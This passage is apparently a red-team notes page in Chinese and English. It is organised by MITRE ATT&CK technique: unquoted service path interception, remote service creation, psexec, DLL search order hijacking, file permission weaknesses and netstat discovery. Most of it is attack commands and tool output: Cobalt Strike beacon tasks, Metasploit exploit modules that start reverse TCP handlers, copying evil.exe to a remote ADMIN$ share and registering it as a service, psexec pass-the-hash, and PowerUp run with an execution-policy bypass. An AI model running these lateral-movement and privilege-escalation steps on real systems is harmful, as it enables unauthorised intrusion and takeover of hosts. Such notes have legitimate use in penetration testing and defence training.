  2. beacon> shell whoami /all /fo list
  3. [*] Tasked beacon to run: whoami /all /fo list
  4. [+] host called home, sent: 51 bytes
  5. [+] received output:
  7. 用户信息
  8. ----------------
  10. 用户名: root-5de52ac98b\administrator
  11. SID:    S-1-5-21-1911985068-4225083820-4011728908-500
  14. 组信息
  15. -----------------
  17. 组名: Everyone
  18. 类型: 已知组
  19. SID:  S-1-1-0
  20. 属性: 必需的组, 启用于默认, 启用的组
  22. 组名: BUILTIN\Administrators
  23. 类型: 别名
  24. SID:  S-1-5-32-544
  25. 属性: 必需的组, 启用于默认, 启用的组, 组的所有者
  27. 组名: BUILTIN\Users
  28. 类型: 别名
  29. SID:  S-1-5-32-545
  30. 属性: 必需的组, 启用于默认, 启用的组
  32. 组名: NT AUTHORITY\INTERACTIVE
  33. 类型: 已知组
  34. SID:  S-1-5-4
  35. 属性: 必需的组, 启用于默认, 启用的组
  37. 组名: NT AUTHORITY\Authenticated Users
  38. 类型: 已知组
  39. SID:  S-1-5-11
  40. 属性: 必需的组, 启用于默认, 启用的组
  42. 组名: NT AUTHORITY\This Organization
  43. 类型: 已知组
  44. SID:  S-1-5-15
  45. 属性: 必需的组, 启用于默认, 启用的组
  47. 组名: LOCAL
  48. 类型: 已知组
  49. SID:  S-1-2-0
  50. 属性: 必需的组, 启用于默认, 启用的组
  52. 组名: NT AUTHORITY\NTLM Authentication
  53. 类型: 已知组
  54. SID:  S-1-5-64-10
  55. 属性: 必需的组, 启用于默认, 启用的组
  58. 特权信息
  59. ----------------------
  61. 特权名: SeLockMemoryPrivilege
  62. 描述:   内存中锁定页面
  63. 状态:   已禁用
  65. 特权名: SeChangeNotifyPrivilege
  66. 描述:   跳过遍历检查
  67. 状态:   已启用
  69. 特权名: SeSecurityPrivilege
  70. 描述:   管理审核和安全日志
  71. 状态:   已禁用
  73. 特权名: SeBackupPrivilege
  74. 描述:   备份文件和目录
  75. 状态:   已禁用
  77. 特权名: SeRestorePrivilege
  78. 描述:   还原文件和目录
  79. 状态:   已禁用
  81. 特权名: SeSystemtimePrivilege
  82. 描述:   更改系统时间
  83. 状态:   已禁用
  85. 特权名: SeShutdownPrivilege
  86. 描述:   关闭系统
  87. 状态:   已禁用
  89. 特权名: SeRemoteShutdownPrivilege
  90. 描述:   从远程系统强制关机
  91. 状态:   已禁用
  93. 特权名: SeTakeOwnershipPrivilege
  94. 描述:   取得文件或其他对象的所有权
  95. 状态:   已禁用
  97. 特权名: SeDebugPrivilege
  98. 描述:   调试程序
  99. 状态:   已禁用
  101. 特权名: SeSystemEnvironmentPrivilege
  102. 描述:   修改固件环境值
  103. 状态:   已禁用
  105. 特权名: SeSystemProfilePrivilege
  106. 描述:   配置系统性能
  107. 状态:   已禁用
  109. 特权名: SeProfileSingleProcessPrivilege
  110. 描述:   配置单一进程
  111. 状态:   已禁用
  113. 特权名: SeIncreaseBasePriorityPrivilege
  114. 描述:   增加计划优先级
  115. 状态:   已禁用
  117. 特权名: SeLoadDriverPrivilege
  118. 描述:   装载和卸载设备驱动程序
  119. 状态:   已禁用
  121. 特权名: SeCreatePagefilePrivilege
  122. 描述:   创建页面文件
  123. 状态:   已禁用
  125. 特权名: SeIncreaseQuotaPrivilege
  126. 描述:   调整进程的内存配额
  127. 状态:   已禁用
  129. 特权名: SeUndockPrivilege
  130. 描述:   从扩展坞中取出计算机
  131. 状态:   已禁用
  133. 特权名: SeManageVolumePrivilege
  134. 描述:   执行卷维护任务
  135. 状态:   已禁用
  137. 特权名: SeImpersonatePrivilege
  138. 描述:   身份验证后模拟客户端
  139. 状态:   已启用
  141. 特权名: SeCreateGlobalPrivilege
  142. 描述:   创建全局对象
  143. 状态:   已启用

Path Interception(路径劫持)

原理：

  1. 在服务路径权限不对或者配置错误时会被攻击者进行提权操作
  3. Service paths (stored in Windows Registry keys) [2] and shortcut paths are vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\unsafe path with space\program.exe vs. "C:\safe path with space\program.exe"). [3] An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\program files\myapp.exe, an adversary may create a program at C:\program.exe that will be run instead of the intended program. [4] [5]
  5. 服务路径(存储在Windows注册表项中)[2]和快捷方式很容易被路径拦截，如果路径有一个或多个空格，并且没有被引号包围(例如，C:\ \program.exe vs. C:\ safe path with space\program.exe)。"C:\安全路径与空格\program.exe")。对手可以将可执行文件放在路径的较高级别目录中，Windows将解析该可执行文件而不是预期的可执行文件。例如，如果快捷方式中的路径是C:\program files\myapp。竞争对手可以在C:\program.exe上创建一个程序，该程序将代替预期的程序运行
  7. PATH Environment Variable Misconfiguration
  8. The PATH environment variable contains a list of directories. Certain methods of executing a program (namely using cmd.exe or the command-line) rely solely on the PATH environment variable to determine the locations that are searched for a program when the path for the program is not given. If any directories are listed in the PATH environment variable before the Windows directory, %SystemRoot%\system32 (e.g., C:\Windows\system32), a program may be placed in the preceding directory that is named the same as a Windows program (such as cmd, PowerShell, or Python), which will be executed when that command is executed from a script or command-line.
  10. For example, if C:\example path precedes C:\Windows\system32 is in the PATH environment variable, a program that is named net.exe and placed in C:\example path will be called instead of the Windows system "net" when "net" is executed from the command-line.

Check for common privilege escalation methods

terminal下操作（借助powershell）

powershell -ep bypass .\powerup.ps1 Invoke-AllChecks

powershell -ExecutionPolicy Bypass .\powerup.ps1 Invoke-AllChecks

  1. PS C:\Users\Administrator\Desktop\powrshell> powershell -ep bypass .\powerup.ps1 Invoke-AllChecks
  2. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass  .\powerup.ps1 Invoke-AllChecks
  3. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass -File .\powerup.ps1

msf下操作：

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > exploit 
  3. [*] Started reverse TCP handler on 192.168.2.107:4444 
  4. [*] Finding a vulnerable service...
  5. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  6. [*] Exploit completed, but no session was created.

cs下操作：

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

  2. beacon> powershell C:\Users\Administrator\Desktop\powrshell\powerup.ps1
  3. [*] Tasked beacon to run: C:\Users\Administrator\Desktop\powrshell\powerup.ps1
  4. [+] host called home, sent: 203 bytes
  5. [-] could not spawn powershell -nop -exec bypass -EncodedCommand QwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAGkAcwB0AHIAYQB0AG8AcgBcAEQAZQBzAGsAdABvAHAAXABwAG8AdwByAHMAaABlAGwAbABcAHAAbwB3AGUAcgB1AHAALgBwAHMAMQA=: 2
  6. beacon> powershell Invoke-AllChecks
  7. [*] Tasked beacon to run: Invoke-AllChecks

Service Execution(服务执行)

Create a new service remotely（远程创建一个新服务）

terminal下操作

net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName

copy evil.exe \COMP\ADMIN$\acachsrv.exe

sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"

sc \COMP start acachsrv

  1. C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
  2. OMAIN_NAME\UserName
  3. 发生系统错误 67。
  5. 找不到网络名。
  8. C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
  9. chsrv.exe
  10. 系统找不到指定的文件。
  12. C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
  13. indows\System32\acachsrv.exe" start= auto  DisplayName= "DisplayName"
  14. [SC] OpenSCManager 失败 1722:
  16. RPC 服务器不可用。
  19. C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
  20. [SC] OpenSCManager 失败 1722:
  22. RPC 服务器不可用。

cs下操作：

shell net use \COMP\ADMIN$ "password" /user:DOMAIN_NAME\UserName

shell copy evil.exe \COMP\ADMIN$\acachsrv.exe

shell sc \COMP create acachsrv binPath= "C:\Windows\System32\acachsrv.exe" start= auto description= "Description here" DisplayName= "DisplayName"

shell sc \COMP start acachsrv

  1. C:\Documents and Settings\Administrator>net use \\COMP\ADMIN$ "password" /user:D
  2. OMAIN_NAME\UserName
  3. 发生系统错误 67。
  5. 找不到网络名。
  8. C:\Documents and Settings\Administrator>copy evil.exe \\COMP\ADMIN$\System32\aca
  9. chsrv.exe
  10. 系统找不到指定的文件。
  12. C:\Documents and Settings\Administrator>sc \\COMP create acachsrv binPath= "C:\W
  13. indows\System32\acachsrv.exe" start= auto  DisplayName= "DisplayName"
  14. [SC] OpenSCManager 失败 1722:
  16. RPC 服务器不可用。
  19. C:\Documents and Settings\Administrator>sc \\COMP start acachsrv
  20. [SC] OpenSCManager 失败 1722:
  22. RPC 服务器不可用。

Create a new service remotely (using psexec)(使用psexec创建新的远程服务)

原理：

  2. psexec copies over a file to the remote box via SMB, then creates a service (usually a randomly named one) which points to the binary that was just copied over, starts the service, then deletes the service.
  4. 使用psexec通过smb复制文件，然后创建一个指向刚刚复制过来的二进制文件的随机名的服务，然后启动、删除服务

terminal下操作：

psexec /accepteula \ip -u domain\user -p password -c -f \smbip\share\file.exe (Copy and execute file.exe on the remote system)

psexec /accepteula \ip -u domain\user -p lm:ntlm cmd.exe /c dir c:\Progra~1 (Run cmd.exe on the remote system using the lm:ntlm password hash - aka pass the hash)

psexec /accepteula \ip -s cmd.exe (Run cmd.exe on the remote box as the SYSTEM user account)

msf下操作：

exploit/windows/smb/psexec

exploit/windows/local/current_user_psexec

auxiliary/admin/smb/psexec_command

auxiliary/scanner/smb/psexec_loggedin_users

exploit/windows/smb/psexec_psh

  1. msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
  2. msf5 exploit(windows/smb/psexec) > show options 
  4. Module options (exploit/windows/smb/psexec):
  6.    Name                  Current Setting  Required  Description
  7.    ----                  ---------------  --------  -----------
  8.    RHOSTS                                 yes       The target address range or CIDR identifier
  9.    RPORT                 445              yes       The SMB service port (TCP)
  10.    SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  11.    SERVICE_DISPLAY_NAME                   no        The service display name
  12.    SERVICE_NAME                           no        The service name
  13.    SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
  14.    SMBDomain             .                no        The Windows domain to use for authentication
  15.    SMBPass                                no        The password for the specified username
  16.    SMBUser                                no        The username to authenticate as
  19. Exploit target:
  21.    Id  Name
  22.    --  ----
  23.    0   Automatic
  26. msf5 exploit(windows/smb/psexec) > set rhosts 192.168.2.103
  27. rhosts => 192.168.2.103
  28. msf5 exploit(windows/smb/psexec) > exploit 
  30. [-] Handler failed to bind to 192.168.2.103:4444:-  -
  31. [-] Handler failed to bind to 0.0.0.0:4444:-  -
  32. [-] 192.168.2.103:445 - Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444).
  33. [*] Exploit completed, but no session was created.
  35. msf5 exploit(windows/smb/psexec) > use exploit/windows/local/current_user_psexec 
  36. msf5 exploit(windows/local/current_user_psexec) > show options 
  38. Module options (exploit/windows/local/current_user_psexec):
  40.    Name              Current Setting  Required  Description
  41.    ----              ---------------  --------  -----------
  42.    DISPNAME                           no        Service display name (Default: random)
  43.    INTERNAL_ADDRESS                   no        Session's internal address or hostname for the victims to grab the payload from (Default: detected)
  44.    KERBEROS          false            yes       Authenticate via Kerberos, dont resolve hostnames
  45.    NAME                               no        Service name on each target in RHOSTS (Default: random)
  46.    RHOSTS                             no        Target address range or CIDR identifier
  47.    SESSION                            yes       The session to run this module on.
  48.    TECHNIQUE         PSH              yes       Technique to use (Accepted: PSH, SMB)
  51. Exploit target:
  53.    Id  Name
  54.    --  ----
  55.    0   Universal
  58. msf5 exploit(windows/local/current_user_psexec) > set session 1
  59. session => 1
  60. msf5 exploit(windows/local/current_user_psexec) > exploit 
  62. msf5 exploit(windows/local/current_user_psexec) > use auxiliary/admin/smb/psexec_command 
  63. msf5 auxiliary(admin/smb/psexec_command) > show options 
  65. Module options (auxiliary/admin/smb/psexec_command):
  67.    Name                  Current Setting                    Required  Description
  68.    ----                  ---------------                    --------  -----------
  69.    COMMAND               net group "Domain Admins" /domain  yes       The command you want to execute on the remote host
  70.    RHOSTS                                                   yes       The target address range or CIDR identifier
  71.    RPORT                 445                                yes       The Target port
  72.    SERVICE_DESCRIPTION                                      no        Service description to to be used on target for pretty listing
  73.    SERVICE_DISPLAY_NAME                                     no        The service display name
  74.    SERVICE_NAME                                             no        The service name
  75.    SMBDomain             .                                  no        The Windows domain to use for authentication
  76.    SMBPass                                                  no        The password for the specified username
  77.    SMBSHARE              C$                                 yes       The name of a writeable share on the server
  78.    SMBUser                                                  no        The username to authenticate as
  79.    THREADS               1                                  yes       The number of concurrent threads
  80.    WINPATH               WINDOWS                            yes       The name of the remote Windows directory
  82. msf5 auxiliary(admin/smb/psexec_command) > set rhosts 192.168.2.103
  83. rhosts => 192.168.2.103
  84. msf5 auxiliary(admin/smb/psexec_command) > exploit 
  86. [*] 192.168.2.103:445     - Scanned 1 of 1 hosts (100% complete)
  87. [*] Auxiliary module execution completed
  89. msf5 auxiliary(admin/smb/psexec_command) > use auxiliary/scanner/smb/psexec_loggedin_users 
  90. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > show options 
  92. Module options (auxiliary/scanner/smb/psexec_loggedin_users):
  94.    Name                  Current Setting  Required  Description
  95.    ----                  ---------------  --------  -----------
  96.    RHOSTS                                 yes       The target address range or CIDR identifier
  97.    RPORT                 445              yes       The Target port
  98.    SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  99.    SERVICE_DISPLAY_NAME                   no        The service display name
  100.    SERVICE_NAME                           no        The service name
  101.    SMBDomain             .                no        The Windows domain to use for authentication
  102.    SMBPass                                no        The password for the specified username
  103.    SMBSHARE              C$               yes       The name of a writeable share on the server
  104.    SMBUser                                no        The username to authenticate as
  105.    THREADS               1                yes       The number of concurrent threads
  106.    USERNAME                               no        The name of a specific user to search for
  107.    WINPATH               WINDOWS          yes       The name of the Windows directory
  109. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > set rhosts 192.168.2.103
  110. rhosts => 192.168.2.103
  111. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > exploit 
  113. [-] 192.168.2.103:445     - The connection was refused by the remote host (192.168.2.103:445).
  114. [*] 192.168.2.103:445     - Scanned 1 of 1 hosts (100% complete)
  115. [*] Auxiliary module execution completed
  117. msf5 auxiliary(scanner/smb/psexec_loggedin_users) > use exploit/windows/smb/psexec_psh 
  118. msf5 exploit(windows/smb/psexec_psh) > show options 
  120. Module options (exploit/windows/smb/psexec_psh):
  122.    Name                  Current Setting  Required  Description
  123.    ----                  ---------------  --------  -----------
  124.    DryRun                false            no        Prints the powershell command that would be used
  125.    RHOSTS                                 yes       The target address range or CIDR identifier
  126.    RPORT                 445              yes       The SMB service port (TCP)
  127.    SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
  128.    SERVICE_DISPLAY_NAME                   no        The service display name
  129.    SERVICE_NAME                           no        The service name
  130.    SMBDomain             .                no        The Windows domain to use for authentication
  131.    SMBPass                                no        The password for the specified username
  132.    SMBUser                                no        The username to authenticate as
  135. Exploit target:
  137.    Id  Name
  138.    --  ----
  139.    0   Automatic
  142. msf5 exploit(windows/smb/psexec_psh) > set rhosts 192.168.2.103
  143. rhosts => 192.168.2.103
  144. msf5 exploit(windows/smb/psexec_psh) > exploit

cs下操作：

psexec COMP_NAME {listener name} (via sc)

psexec_sh COMP_NAME {listener name} (via powershell)

DLL Search Order Hijacking（DLL劫持）

原理：

  1. Windows systems use a common method to look for required DLLs to load into a program. [1] Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.
  3. Adversaries may perform DLL preloading, also called binary planting attacks, [2] by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. [3] Adversaries may use this behavior to cause the program to load a malicious DLL.
  5. Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. [4] [5] [6]
  7. If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.
  9. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
  11. 通俗的来理解就是windows下的dll文件可以被替换或可以修改.manifest或.local重定向文件、目录或连接来直接修改程序加载DLL来达到权限提升或者其他的效果。

Check for common privilege escalation methods（常见的提权方法检测）

terminal下操作：

powershell.exe -epbypass PowerUp.ps1
Invoke-AllChecks

  2. PS C:\Users\Administrator\Desktop\powrshell> powershell -ExecutionPolicy Bypass  .\powerup.ps1 Invoke-AllChecks

msf下操作：

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > show options 
  3. Module options (exploit/windows/local/trusted_service_path):
  5.    Name     Current Setting  Required  Description
  6.    ----     ---------------  --------  -----------
  7.    SESSION                   yes       The session to run this module on.
  10. Exploit target:
  12.    Id  Name
  13.    --  ----
  14.    0   Windows
  17. msf5 exploit(windows/local/trusted_service_path) > set session 1
  18. session => 1
  19. msf5 exploit(windows/local/trusted_service_path) > exploit 
  21. [-] Handler failed to bind to 192.168.2.103:4444:-  -
  22. [-] Handler failed to bind to 0.0.0.0:4444:-  -
  23. [*] Finding a vulnerable service...
  24. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  25. [*] Exploit completed, but no session was created.

cs下操作：

powershell-import /path/to/PowerUp.ps1

powershell Invoke-AllChecks

File System Permissions Weakness(文件系统权限不足)

原理：

  1. Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
  3. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.
  5. Services
  6. Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.
  8. Executable Installers
  9. Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. [1] [2]
  11. 简单来说就是可以替换文件、服务或者使用安装文件来获取权限

Check for common privilege escalation methods（常见的提权方法检测）

terminal下操作：

powershell.exe -epbypass PowerUp.ps1

Invoke-AllChecks

  1. PS C:\Users\Administrator\Desktop\powrshell> Invoke-AllChecks
  3. [*] Running Invoke-AllChecks
  4. [+] Current user already has local administrative privileges!
  7. [*] Checking for unquoted service paths...
  10. ServiceName    : VOneMgrSvcForNG
  11. Path           : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  12. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=AppendData/AddSu
  13.                  bdirectory}
  14. StartName      : LocalSystem
  15. AbuseFunction  : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  16. CanRestart     : True
  18. ServiceName    : VOneMgrSvcForNG
  19. Path           : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  20. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=NT AUTHORITY\Authenticated Users; Permissions=System.Object[]}
  21. StartName      : LocalSystem
  22. AbuseFunction  : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  23. CanRestart     : True
  25. ServiceName    : VOneMgrSvcForNG
  26. Path           : C:\Program Files (x86)\NGVONE\Client\sv_service.exe
  27. ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Administrators; Permissions=System.Object[]}
  28. StartName      : LocalSystem
  29. AbuseFunction  : Write-ServiceBinary -Name 'VOneMgrSvcForNG' -Path <HijackPath>
  30. CanRestart     : True

msf下操作：

exploit/windows/local/trusted_service_path

  1. msf5 exploit(windows/local/trusted_service_path) > exploit 
  3. [*] Started reverse TCP handler on 192.168.2.103:4444 
  4. [*] Finding a vulnerable service...
  5. [-] Exploit aborted due to failure: not-vulnerable: No service found with trusted path issues
  6. [*] Exploit completed, but no session was created.
  7. msf5 exploit(windows/local/trusted_service_path) >

System Network Connections Discovery(系统网络连接发现)

Get current TCP/IP connections（获取当前TCP/IP连接）

terminal下操作：

netstat -ano

  1. PS C:\Users\Administrator\Desktop\powrshell> netstat -ano
  3. 活动连接
  5.   协议  本地地址          外部地址        状态           PID
  6.   TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       860
  7.   TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  8.   TCP    0.0.0.0:515            0.0.0.0:0              LISTENING       2988
  9.   TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING       376
  10.   TCP    0.0.0.0:5040           0.0.0.0:0              LISTENING       64
  11.   TCP    0.0.0.0:7443           0.0.0.0:0              LISTENING       5712
  12.   TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       496
  13.   TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       1248
  14.   TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1136
  15.   TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       2028
  16.   TCP    0.0.0.0:49668          0.0.0.0:0              LISTENING       2612
  17.   TCP    0.0.0.0:49672          0.0.0.0:0              LISTENING       604
  18.   TCP    0.0.0.0:49673          0.0.0.0:0              LISTENING       2784
  19.   TCP    0.0.0.0:49683          0.0.0.0:0              LISTENING       632
  20.   TCP    127.0.0.1:3443         0.0.0.0:0              LISTENING       3416
  21.   TCP    127.0.0.1:35432        0.0.0.0:0              LISTENING       3456
  22.   TCP    127.0.0.1:49677        127.0.0.1:49678        ESTABLISHED     3416
  23.   TCP    127.0.0.1:49678        127.0.0.1:49677        ESTABLISHED     3416
  24.   TCP    192.168.97.132:139     0.0.0.0:0              LISTENING       4
  25.   TCP    192.168.97.132:50215   40.90.189.152:443      ESTABLISHED     2740
  26.   TCP    192.168.97.132:50231   185.199.109.153:443    TIME_WAIT       0
  27.   TCP    192.168.97.132:50232   172.217.25.13:443      TIME_WAIT       0
  28.   TCP    192.168.97.132:50233   203.208.39.227:443     TIME_WAIT       0
  29.   TCP    192.168.97.132:50235   203.208.50.94:443      TIME_WAIT       0
  30.   TCP    192.168.97.132:50236   216.58.197.99:443      TIME_WAIT       0
  31.   TCP    192.168.97.132:50237   203.208.39.227:80      TIME_WAIT       0
  32.   TCP    192.168.97.132:50238   216.117.2.180:443      TIME_WAIT       0
  33.   TCP    192.168.97.132:50241   203.208.43.77:443      TIME_WAIT       0
  34.   TCP    192.168.97.132:50242   203.208.40.62:443      TIME_WAIT       0
  35.   TCP    192.168.97.132:50244   3.224.99.7:443         TIME_WAIT       0
  36.   TCP    192.168.97.132:50246   172.217.31.234:443     TIME_WAIT       0
  37.   TCP    192.168.97.132:50247   54.186.190.8:443       TIME_WAIT       0
  38.   TCP    192.168.97.132:50248   3.213.73.75:443        TIME_WAIT       0
  39.   TCP    192.168.97.132:50249   216.117.2.180:443      TIME_WAIT       0
  40.   TCP    192.168.97.132:50250   216.117.2.180:443      TIME_WAIT       0
  41.   TCP    192.168.97.132:50251   216.117.2.180:443      TIME_WAIT       0
  42.   TCP    192.168.97.132:50252   123.129.254.12:80      TIME_WAIT       0
  43.   TCP    192.168.97.132:50253   123.129.254.12:80      TIME_WAIT       0
  44.   TCP    192.168.97.132:50256   216.58.221.238:443     TIME_WAIT       0
  45.   TCP    192.168.97.132:50257   52.139.250.253:443     ESTABLISHED     2740
  46.   TCP    [::]:135               [::]:0                 LISTENING       860
  47.   TCP    [::]:445               [::]:0                 LISTENING       4
  48.   TCP    [::]:515               [::]:0                 LISTENING       2988
  49.   TCP    [::]:3389              [::]:0                 LISTENING       376
  50.   TCP    [::]:49664             [::]:0                 LISTENING       496
  51.   TCP    [::]:49665             [::]:0                 LISTENING       1248
  52.   TCP    [::]:49666             [::]:0                 LISTENING       1136
  53.   TCP    [::]:49667             [::]:0                 LISTENING       2028
  54.   TCP    [::]:49668             [::]:0                 LISTENING       2612
  55.   TCP    [::]:49672             [::]:0                 LISTENING       604
  56.   TCP    [::]:49673             [::]:0                 LISTENING       2784
  57.   TCP    [::]:49683             [::]:0                 LISTENING       632
  58.   TCP    [::1]:35432            [::]:0                 LISTENING       3456
  59.   TCP    [::1]:35432            [::1]:50211            ESTABLISHED     3456
  60.   TCP    [::1]:35432            [::1]:50212            ESTABLISHED     3456
  61.   TCP    [::1]:35432            [::1]:50213            ESTABLISHED     3456
  62.   TCP    [::1]:35432            [::1]:50214            ESTABLISHED     3456
  63.   TCP    [::1]:50211            [::1]:35432            ESTABLISHED     3416
  64.   TCP    [::1]:50212            [::1]:35432            ESTABLISHED     3416
  65.   TCP    [::1]:50213            [::1]:35432            ESTABLISHED     3416
  66.   TCP    [::1]:50214            [::1]:35432            ESTABLISHED     3416
  67.   UDP    0.0.0.0:500            *:*                                    2772
  68.   UDP    0.0.0.0:3389           *:*                                    376
  69.   UDP    0.0.0.0:4500           *:*                                    2772
  70.   UDP    0.0.0.0:5050           *:*                                    64
  71.   UDP    0.0.0.0:5353           *:*                                    2204
  72.   UDP    0.0.0.0:5355           *:*                                    2204
  73.   UDP    0.0.0.0:58658          *:*                                    5712
  74.   UDP    127.0.0.1:1900         *:*                                    2268
  75.   UDP    127.0.0.1:4499         *:*                                    236
  76.   UDP    127.0.0.1:58657        *:*                                    5712
  77.   UDP    127.0.0.1:62902        *:*                                    2268
  78.   UDP    127.0.0.1:63142        *:*                                    3260
  79.   UDP    192.168.97.132:137     *:*                                    4
  80.   UDP    192.168.97.132:138     *:*                                    4
  81.   UDP    192.168.97.132:1900    *:*                                    2268
  82.   UDP    192.168.97.132:62901   *:*                                    2268
  83.   UDP    [::]:500               *:*                                    2772
  84.   UDP    [::]:3389              *:*                                    376
  85.   UDP    [::]:4500              *:*                                    2772
  86.   UDP    [::]:5353              *:*                                    2204
  87.   UDP    [::]:5355              *:*                                    2204
  88.   UDP    [::1]:1900             *:*                                    2268
  89.   UDP    [::1]:62900            *:*                                    2268
  90.   UDP    [::1]:63143            *:*                                    3456
  91.   UDP    [fe80::bc99:52b6:7f3b:cdb8%11]:1900  *:*                                    2268
  92.   UDP    [fe80::bc99:52b6:7f3b:cdb8%11]:62899  *:*                                    2268

msf下操作：

/post/windows/gather/tcpnetstat

  1. msf5 exploit(windows/local/trusted_service_path) > use post/windows/gather/tcpnetstat
  2. msf5 post(windows/gather/tcpnetstat) > show options 
  4. Module options (post/windows/gather/tcpnetstat):
  6.    Name     Current Setting  Required  Description
  7.    ----     ---------------  --------  -----------
  8.    SESSION                   yes       The session to run this module on.
  10. msf5 post(windows/gather/tcpnetstat) > set session 1
  11. session => 1
  12. msf5 post(windows/gather/tcpnetstat) > exploit 
  14. [*] TCP Table Size: 472
  15. [*] Total TCP Entries: 13
  16. [*] Connection Table
  17. ================
  19.   STATE        LHOST          LPORT  RHOST          RPORT
  20.   -----        -----          -----  -----          -----
  21.   ESTABLISHED  192.168.2.114  1068   192.168.2.103  5555
  22.   LISTEN       0.0.0.0        80     0.0.0.0        _
  23.   LISTEN       0.0.0.0        135    0.0.0.0        _
  24.   LISTEN       0.0.0.0        445    0.0.0.0        _
  25.   LISTEN       0.0.0.0        1025   0.0.0.0        _
  26.   LISTEN       0.0.0.0        1026   0.0.0.0        _
  27.   LISTEN       0.0.0.0        1035   0.0.0.0        _
  28.   LISTEN       0.0.0.0        1801   0.0.0.0        _
  29.   LISTEN       0.0.0.0        2103   0.0.0.0        _
  30.   LISTEN       0.0.0.0        2105   0.0.0.0        _
  31.   LISTEN       0.0.0.0        2107   0.0.0.0        _
  32.   LISTEN       0.0.0.0        3306   0.0.0.0        _
  33.   LISTEN       192.168.2.114  139    0.0.0.0        _
  35. [*] Post module execution completed

　ｃs下操作：

shell c:\windows\sysnative\netstat.exe -ano

  1. beacon> shell c:\windows\system32\netstat.exe -ano
  2. [*] Tasked beacon to run: c:\windows\system32\netstat.exe -ano
  3. [+] host called home, sent: 67 bytes
  4. [+] received output:
  6. Active Connections
  8.   Proto  Local Address          Foreign Address        State           PID
  9.   TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       1100
  10.   TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       688
  11.   TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  12.   TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING       400
  13.   TCP    0.0.0.0:1026           0.0.0.0:0              LISTENING       984
  14.   TCP    0.0.0.0:1035           0.0.0.0:0              LISTENING       1932
